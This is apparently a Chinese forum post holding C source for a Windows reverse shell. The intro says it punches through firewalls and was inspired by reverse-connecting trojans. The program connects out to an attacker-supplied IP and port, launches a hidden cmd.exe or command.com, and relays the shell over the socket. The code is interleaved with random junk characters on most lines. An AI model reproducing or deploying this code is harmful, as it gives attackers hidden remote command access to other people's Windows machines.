这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R"j<C13;%
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/* ============================== Dn)B19b
Rebound port in Windows NT B@v
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By wind,2006/7 #jJ0Mxg
===============================*/ ZUD{V
#include Oy b0t|do+
#include =ld!=II
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#pragma comment(lib,"wsock32.lib") %(|-+cLW+
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void OutputShell(); +p[O|[z
SOCKET sClient; +/
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KZO[>qC"R
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void main(int argc,char **argv) Fi/`3A@68
{ :}2T of2
WSADATA stWsaData; znDpg{U(
int nRet; %}JSR y
SOCKADDR_IN stSaiClient,stSaiServer; PjofW%7F
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if(argc != 3) YC$>D?FW
{ K4-_a{)/
printf("Useage:\n\rRebound DestIP DestPort\n"); 0"Euf41
return; cc3/XBo
} 3-oKY*jO
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WSAStartup(MAKEWORD(2,2),&stWsaData); e,Z[Nox
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M N (o
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stSaiClient.sin_family = AF_INET; LcT;7yv
stSaiClient.sin_port = htons(0); F|cli
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EEMRy
{ Q~/=p>=uu
printf("Bind Socket Failed!\n"); zK I1
return; n1aOpz6`
} JP(0/?Q
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stSaiServer.sin_family = AF_INET; qQIX:HWDKZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sgnc$x"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @^J>. g
nN^lY=3
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) unNN&m#@
{ NB5lxaL
printf("Connect Error!"); %%#bTyF
return; <Ql2+ev6
} ZmycK:f
OutputShell(); Jz*A!Li
} |Qb@.
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void OutputShell() 8Q"1I7U
{ acgx')!c
char szBuff[1024]; E^A!k=>
SECURITY_ATTRIBUTES stSecurityAttributes; >vR2K^
OSVERSIONINFO stOsversionInfo; +~*e B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I0><IaFy
STARTUPINFO stStartupInfo; )||CU]"b?
char *szShell; H:
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PROCESS_INFORMATION stProcessInformation; g7lPQ_A*
unsigned long lBytesRead; x8x-b>|$&<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fdHFSnQ g
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7F_N{avr
stSecurityAttributes.lpSecurityDescriptor = 0; kZ]pV=\Y*
stSecurityAttributes.bInheritHandle = TRUE; ur7S
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7z&$\qu2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h(GSM'v
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IxG7eX!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )/Gi-::
stStartupInfo.wShowWindow = SW_HIDE; d c_2nF
stStartupInfo.hStdInput = hReadPipe; PRNq8nmxC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )]LP8
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GetVersionEx(&stOsversionInfo); keG\-f
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switch(stOsversionInfo.dwPlatformId) a8G<x<
{ UI'fzlB
case 1: 1
.[OS
szShell = "command.com"; B9Wd
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break; 9g'6zB
default: (i?9/8I
szShell = "cmd.exe"; BjfTt:kY
break; |7 Ab_
} rZ)7(0BBs
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |/$954Hr#<
RTDplv; ]
send(sClient,szMsg,77,0); "zz b`T[8
while(1) ~=t9-AF-
{ pSEaE9AX%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SSyARR+;c
if(lBytesRead) sTep2W.9
{ ;j[:tt\k
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5R%y3::$S
send(sClient,szBuff,lBytesRead,0);
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} ):nC%0V
else Xy`'h5
{ R3LIN-g(
lBytesRead=recv(sClient,szBuff,1024,0); ZR"qrCSw`
if(lBytesRead<=0) break; fC[~X[H
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :7 JP(j2
} Z c#Jb
} !,rF(pz
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return; fZLAZMrM
}